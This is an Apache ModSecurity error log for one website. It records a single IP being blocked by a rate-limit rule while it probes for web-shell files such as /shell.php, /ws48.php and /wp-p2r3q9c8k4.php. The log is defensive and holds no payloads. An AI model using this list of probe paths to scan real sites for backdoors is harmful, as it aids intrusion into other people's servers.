[Wed Apr 22 07:59:15.793521 2026] [:error] [pid 31755:tid 31775] [client 20.215.187.59:7946] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aegPUwz2mYMkg3X8q1uElgAAAgw"]
[Wed Apr 22 07:59:17.284750 2026] [:error] [pid 21682:tid 21728] [client 20.215.187.59:7947] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aegPVZlXWQZUlmPHS3oYZgAAAEU"]
[Wed Apr 22 07:59:19.707113 2026] [:error] [pid 32053:tid 32060] [client 20.215.187.59:40572] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aegPVwzPjXx_ocfbYhs7mwAAA0U"]
[Wed Apr 22 07:59:21.289535 2026] [:error] [pid 32053:tid 32055] [client 20.215.187.59:40535] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aegPWQzPjXx_ocfbYhs7nwAAA0A"]
[Wed Apr 22 07:59:23.758388 2026] [:error] [pid 32095:tid 32111] [client 20.215.187.59:62057] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aegPW9fu5Cv628YPe598DAAAA40"]
[Wed Apr 22 07:59:32.203223 2026] [:error] [pid 31949:tid 31959] [client 20.215.187.59:62049] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aegPZH2WtGZh5JfbMUdGsgAAAwc"]
[Wed Apr 22 07:59:39.205970 2026] [:error] [pid 23041:tid 23045] [client 20.215.187.59:22696] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aegPa0TXx_lUa7xwAb4GlgAAAQE"]
[Wed Apr 22 07:59:43.069770 2026] [:error] [pid 31755:tid 31781] [client 20.215.187.59:20355] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aegPbwz2mYMkg3X8q1uEqgAAAhI"]
[Wed Apr 22 07:59:43.867728 2026] [:error] [pid 31706:tid 31728] [client 20.215.187.59:7958] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aegPb7GSe9Rnd4Q_z1ijKAAAAdM"]
[Wed Apr 22 08:00:34.676985 2026] [:error] [pid 31755:tid 31771] [client 20.215.187.59:22661] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aegPogz2mYMkg3X8q1uFBQAAAgg"]
[Wed Apr 22 08:00:35.843663 2026] [:error] [pid 23041:tid 23068] [client 20.215.187.59:22659] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aegPo0TXx_lUa7xwAb4G-QAAARg"]
[Wed Apr 22 08:00:36.630919 2026] [:error] [pid 31706:tid 31719] [client 20.215.187.59:20352] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aegPpLGSe9Rnd4Q_z1ijLgAAAco"]
[Wed Apr 22 08:00:37.795415 2026] [:error] [pid 31755:tid 31784] [client 20.215.187.59:7256] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hplfuns.php"] [unique_id "aegPpQz2mYMkg3X8q1uFEwAAAhU"]
[Wed Apr 22 08:00:39.567080 2026] [:error] [pid 31755:tid 31768] [client 20.215.187.59:22678] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aegPpwz2mYMkg3X8q1uFGQAAAgU"]
[Wed Apr 22 08:00:40.803076 2026] [:error] [pid 21683:tid 21762] [client 20.215.187.59:7980] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aegPqFZBWT-0diZyYyai1QAAAIw"]
[Wed Apr 22 08:00:42.699975 2026] [:error] [pid 23041:tid 23047] [client 20.215.187.59:22669] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aegPqkTXx_lUa7xwAb4HCQAAAQM"]
[Wed Apr 22 08:00:46.320476 2026] [:error] [pid 31755:tid 31771] [client 20.215.187.59:20374] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aegPrgz2mYMkg3X8q1uFLgAAAgg"]
[Wed Apr 22 08:00:53.715157 2026] [:error] [pid 21682:tid 21743] [client 20.215.187.59:22681] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aegPtZlXWQZUlmPHS3oY9gAAAFQ"]
[Wed Apr 22 08:00:57.778965 2026] [:error] [pid 31844:tid 31869] [client 20.215.187.59:20396] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aegPuWtAU9CprTB4b3I1iQAAApY"]
[Wed Apr 22 08:01:00.719794 2026] [:error] [pid 31844:tid 31862] [client 20.215.187.59:22666] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aegPvGtAU9CprTB4b3I1jAAAApA"]
[Wed Apr 22 08:01:02.827969 2026] [:error] [pid 31756:tid 31798] [client 20.215.187.59:7990] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aegPvt_WbkXbHaEfhd3ozwAAAkY"]
[Wed Apr 22 08:01:04.742387 2026] [:error] [pid 21682:tid 21744] [client 20.215.187.59:20360] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aegPwJlXWQZUlmPHS3oZBwAAAFU"]
[Wed Apr 22 08:01:07.092854 2026] [:error] [pid 31755:tid 31772] [client 20.215.187.59:20363] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aegPwwz2mYMkg3X8q1uFTQAAAgk"]
[Wed Apr 22 08:01:07.847669 2026] [:error] [pid 32053:tid 32077] [client 20.215.187.59:22702] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aegPwwzPjXx_ocfbYhs7vgAAA1Y"]
[Wed Apr 22 08:01:09.067053 2026] [:error] [pid 32095:tid 32097] [client 20.215.187.59:20401] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aegPxdfu5Cv628YPe598MQAAA4A"]
[Wed Apr 22 08:01:09.713758 2026] [:error] [pid 32095:tid 32105] [client 20.215.187.59:20382] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aegPxdfu5Cv628YPe598NAAAA4c"]
[Wed Apr 22 08:01:11.040852 2026] [:error] [pid 31756:tid 31806] [client 20.215.187.59:7250] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aegPx9_WbkXbHaEfhd3o3QAAAk4"]
[Wed Apr 22 08:01:11.765436 2026] [:error] [pid 31755:tid 31779] [client 20.215.187.59:20413] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aegPxwz2mYMkg3X8q1uFTwAAAhA"]
[Wed Apr 22 08:01:13.109286 2026] [:error] [pid 31756:tid 31803] [client 20.215.187.59:22670] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aegPyd_WbkXbHaEfhd3o4gAAAks"]
[Wed Apr 22 08:01:13.963651 2026] [:error] [pid 31755:tid 31770] [client 20.215.187.59:7992] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aegPyQz2mYMkg3X8q1uFWgAAAgc"]
[Wed Apr 22 08:01:14.788601 2026] [:error] [pid 31755:tid 31781] [client 20.215.187.59:7998] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aegPygz2mYMkg3X8q1uFXAAAAhI"]
[Wed Apr 22 08:01:15.483479 2026] [:error] [pid 31755:tid 31780] [client 20.215.187.59:22674] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/8.php"] [unique_id "aegPywz2mYMkg3X8q1uFXQAAAhE"]
[Wed Apr 22 08:01:16.397761 2026] [:error] [pid 31755:tid 31774] [client 20.215.187.59:7942] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aegPzAz2mYMkg3X8q1uFZgAAAgs"]
[Wed Apr 22 08:01:17.129733 2026] [:error] [pid 21683:tid 21750] [client 20.215.187.59:40575] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aegPzVZBWT-0diZyYyai4QAAAIA"]
[Wed Apr 22 08:01:18.530380 2026] [:error] [pid 31756:tid 31798] [client 20.215.187.59:40512] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aegPzt_WbkXbHaEfhd3o6QAAAkY"]
[Wed Apr 22 08:01:19.912421 2026] [:error] [pid 31844:tid 31867] [client 20.215.187.59:40551] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aegPz2tAU9CprTB4b3I1jwAAApU"]
[Wed Apr 22 08:01:20.854156 2026] [:error] [pid 31756:tid 31796] [client 20.215.187.59:40567] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aegP0N_WbkXbHaEfhd3o7wAAAkQ"]
[Wed Apr 22 08:01:21.888027 2026] [:error] [pid 31756:tid 31792] [client 20.215.187.59:20357] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aegP0d_WbkXbHaEfhd3o9AAAAkI"]
[Wed Apr 22 08:01:22.485602 2026] [:error] [pid 31755:tid 31776] [client 20.215.187.59:7989] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aegP0gz2mYMkg3X8q1uFkAAAAg0"]
[Wed Apr 22 08:01:23.173976 2026] [:error] [pid 23041:tid 23068] [client 20.215.187.59:20364] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aegP00TXx_lUa7xwAb4HawAAARg"]
[Wed Apr 22 08:01:24.311026 2026] [:error] [pid 31844:tid 31871] [client 20.215.187.59:40516] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aegP1GtAU9CprTB4b3I1kAAAApg"]
[Wed Apr 22 08:01:25.457099 2026] [:error] [pid 21683:tid 21766] [client 20.215.187.59:40514] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aegP1VZBWT-0diZyYyai6AAAAJA"]
[Wed Apr 22 08:01:27.995597 2026] [:error] [pid 32095:tid 32122] [client 20.215.187.59:40540] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aegP19fu5Cv628YPe598VQAAA5g"]
[Wed Apr 22 08:01:29.891597 2026] [:error] [pid 21682:tid 21744] [client 20.215.187.59:62023] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ok.php"] [unique_id "aegP2ZlXWQZUlmPHS3oZFgAAAFU"]
[Wed Apr 22 08:02:24.862668 2026] [:error] [pid 31755:tid 31781] [client 20.215.187.59:20415] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aegQEAz2mYMkg3X8q1uF0QAAAhI"]
[Wed Apr 22 08:02:26.120264 2026] [:error] [pid 32095:tid 32113] [client 20.215.187.59:7976] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aegQEtfu5Cv628YPe598fgAAA48"]
[Wed Apr 22 08:02:27.023664 2026] [:error] [pid 23041:tid 23059] [client 20.215.187.59:7281] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aegQE0TXx_lUa7xwAb4HpgAAAQ8"]
[Wed Apr 22 08:02:27.919755 2026] [:error] [pid 32053:tid 32072] [client 20.215.187.59:7944] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aegQEwzPjXx_ocfbYhs76QAAA1E"]
[Wed Apr 22 08:02:29.042786 2026] [:error] [pid 21683:tid 21754] [client 20.215.187.59:40522] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aegQFVZBWT-0diZyYyajHAAAAIQ"]
[Wed Apr 22 08:02:31.390777 2026] [:error] [pid 31756:tid 31810] [client 20.215.187.59:20400] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aegQF9_WbkXbHaEfhd3pGwAAAlI"]
[Wed Apr 22 08:02:32.440438 2026] [:error] [pid 32053:tid 32061] [client 20.215.187.59:40546] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aegQGAzPjXx_ocfbYhs76gAAA0Y"]
[Wed Apr 22 08:02:41.135436 2026] [:error] [pid 21683:tid 21760] [client 20.215.187.59:62030] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aegQIVZBWT-0diZyYyajHwAAAIo"]
[Wed Apr 22 08:02:42.685331 2026] [:error] [pid 23041:tid 23060] [client 20.215.187.59:7994] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aegQIkTXx_lUa7xwAb4HwgAAARA"]
[Wed Apr 22 08:02:48.139389 2026] [:error] [pid 21682:tid 21724] [client 20.215.187.59:20412] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aegQKJlXWQZUlmPHS3oZSwAAAEE"]
[Wed Apr 22 08:02:51.744167 2026] [:error] [pid 31755:tid 31771] [client 20.215.187.59:22663] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aegQKwz2mYMkg3X8q1uF9wAAAgg"]
[Wed Apr 22 08:02:54.045190 2026] [:error] [pid 31756:tid 31793] [client 20.215.187.59:7955] [client 20.215.187.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aegQLt_WbkXbHaEfhd3pMQAAAkM"]
